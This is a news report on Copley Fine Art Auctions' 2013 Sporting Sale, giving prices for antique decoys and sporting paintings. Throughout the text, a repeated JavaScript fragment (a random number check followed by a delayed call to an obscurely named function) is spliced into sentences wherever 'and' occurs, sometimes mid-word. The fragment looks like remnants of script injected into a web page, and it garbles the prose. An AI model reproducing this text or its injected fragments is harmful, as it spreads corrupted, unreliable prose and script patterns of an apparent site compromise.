PLYMOUTH, MASS. — Copley Fine Art Auctions’ 2013 Sporting Sale, conducted July 30–31, brought $2,250,333, with more than 90 percent of lots sold. A record price was achieved for several makers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and birds in session one, as well as numerous artists in session two.

Session one started the sale off strong with a group of contemporary carvings by Mark McNair (b 1950). While most fell within estimate, there were two highlights. The sperm whale carving ($3/5,000) more than doubled its estimate, selling for $8,912, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a rare preening wood duck hen ($3/5,000) attained $6,325.

The first major decoy to cross the block was an exemplary brant by Harry V. Shourds (1861–1920). Estimated at $25/35,000 this bird sold for $57,500 after spirited bidding from both the phones andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the floor. Equally as impressive was a swimming black duck that sold within estimate for at $71,875 a few lots later.

An astute Southern collector recognized the importance of the unique Stratford school red breasted merganser pair buying the duo for $54,625.

The biggest surprise of the sale was a George Boyd (1873–1941) goose from the rig of General George S. Patton, moderately estimated at $10/15,000, which brought $48,875.

Two important works by Joseph W. Lincoln (1859–1938), a rare bluebill drake andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an old squaw hen, previously in the Dr George Ross Starr, Jr collection, performed admirably bringing $32,200 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $34,500, respectively. Lincoln miniatures were strong, with all sailing well over their $2/3,000 estimate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the top lot being a wood duck that achieved $6,325.

Following its success with an Augustus A. Wilson (1864–1950) preening eider in the winter sale, Copley followed up with a preening mallard by the maker, which nearly reached its $50,000 high estimate, selling for $48,875.

Copley sold an impressive group of six lots by Ira D. Hudson (1873–1949), andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and found active bidding both on the phones andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and across the floor. The group was led by the auction’s top lot, a pair of red breasted mergansers falling squarely within its estimate for $207,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a pintail pair ($70/80,000), which just cleared its high at $80,500.

Session two opened strong with the group of quail paintings by Gerard Hardenbergh (1855–1915), with the large oil “Bevy of Beauties” shattering the artist’s previous auction record of $15,000, realizing $43,125. Another highlight in this grouping included an oil of a family of quail, which crushed its $5/7,000 estimate, landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding at $19,550.

Copley set a new world record for an Ogden M. Pleissner (1905–1983) watercolor with “Quail Shooting.” The work doubled its high estimate of $60,000, bringing $120,750. Two of the artist’s other works, “A Shot at the River Crossing” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Angling for Salmon,” each split the uprights, coming in within estimate at $48,875.

Despite its Northeast location, Copley has continued to turn up Southern works, setting world records for Ripley andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Pleissner watercolors, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and now for a William Aiken Walker (1838–1921) portrait. The artist’s “New Orleans Cotton Dock” brought $83,375, easily clearing its $30/50,000 estimate.

Copley fell just shy of setting a new world record with its Robert Abbett (b 1926) oil “A Class Act,” selling the work for $32,220.

An impressive landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape oil by William Keith (1838–1911) reached above its $30/50,000 estimate bringing $60,375.

Continuing its strong performance with William Koelpin (1938–1996) bronzes, Copley sold “Opening Day” above estimate for $17,250.

Works by Colin Burns (b 1944), Rolandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Clark (1874–1957), Arthur Burdett Frost (1851–1928), andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Edmund Osthaus (1858–1928), all showed solid results, indicating continued strength in the American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sporting art market.

All prices reported include the buyer’s premium. For more information, 617-536-0030 or www.copleyart.com.